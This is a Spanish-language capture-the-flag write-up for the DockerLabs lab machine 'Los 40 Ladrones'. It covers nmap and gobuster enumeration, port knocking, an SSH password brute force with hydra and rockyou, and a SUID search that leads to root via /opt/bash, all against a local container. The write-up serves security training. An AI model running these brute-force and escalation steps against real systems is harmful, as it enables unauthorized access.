> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/facil/los-40-ladrones.md).
# Los 40 Ladrones
## Maquina
## Reconocimiento
### Nmap 1
```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 172.17.0.2 -oN nmap.txt
```
```
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
```
### Gobuster
{% code overflow="wrap" %}
```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
```
{% endcode %}
```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 275]
Progress: 218558 / 220561 (99.09%)
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
```
{% code overflow="wrap" %}
```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```
{% endcode %}
```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,jpg,sql,tar,gz,json,py,sh,bash,html,js,jpeg,ico,ini,config,zip,pdf,backup,css,rar,png,svg,rb,gif,conf,xml,log
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 10792]
/qdefense.txt (Status: 200) [Size: 111]
/.php (Status: 403) [Size: 275]
/.html (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
Progress: 6396240 / 6396269 (100.00%)
===============================================================
Finished
===============================================================
```
### Web
### Nmap 2
Probamos a hacer un escaneo de nmap a estos puertos `7000`, `8000` y `9000`
{% code overflow="wrap" %}
```bash
sudo nmap -p 7000,8000,9000 -sSCV --min-rate 5000 -vvv -Pn 172.17.0.2 -oN nmapPuertos.txt
```
{% endcode %}
```
PORT STATE SERVICE REASON VERSION
7000/tcp filtered afs3-fileserver no-response
8000/tcp filtered http-alt no-response
9000/tcp filtered cslistener no-response
MAC Address: 02:42:AC:11:00:02 (Unknown)
```
## Explotación
Buscando di con una pagina que explicaba el [golpeo de puertos](https://www.flu-project.com/2013/05/seguridad-mediante-ocultacion-de_30.html), con esto empecé a golpear estos puertos, llegando a la conclusión de que el orden de golpeo es importante y nos lo dice en el mensaje que esta en `/qdefense.txt`
### Nmap 3
Tras golpear estos puertos realizamos un escaneo como el primero que hemos hecho con nmap
```bash
sudo nmap -p- -sSCV --min-rate 5000 -vvv -Pn 172.17.0.2 -oN nmapKnock.txt
```
```
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 dc:ef:4e:ec:c9:3e:3d:68:dd:f5:1f:23:21:a3:98:83 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPS7n1A1eIxBuRhMdsVQA1jRG8wdysmEZiaohqGafMbS+pLcfCIIx72ZM52ZQk2IICu9yUlJ36aWcwUEJLZOcVI=
| 256 3e:c1:74:c1:44:af:6f:d0:90:15:4c:95:46:0a:ea:22 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOu2/XQXey3Lb+jyGxtHholEH5Znu26WzWLDN/K6zL2Q
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Descubrimos que ahora tenemos abierto el puerto 22 :tada::tada:
Procedemos a hacer un ataque de fuerza bruta con hydra usando el usuario `toctoc`, ya que en el archivo `/qdefense.txt` nos dicen que `toctoc` es un maleducado
```bash
hydra -l toctoc -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 64
```
## Escalada de privilegios
Buscamos los permisos que tiene este usuario
{% hint style="danger" %}
Nos pide contraseña para `sudo -l`
{% endhint %}
```bash
find / -perm -4000 2> /dev/null
```
Vemos que tenemos permiso en `/opt/bash`, si lo ejecutamos como sudo ya seremos `root`
## Conclusión
Es una maquina muy entretenida, me ha gustado mucho en especial la parte del acertijo con el uso de [Port knocking](https://www.flu-project.com/2013/05/seguridad-mediante-ocultacion-de_30.html), ya que el escalado de esta maquina es muy sencillo.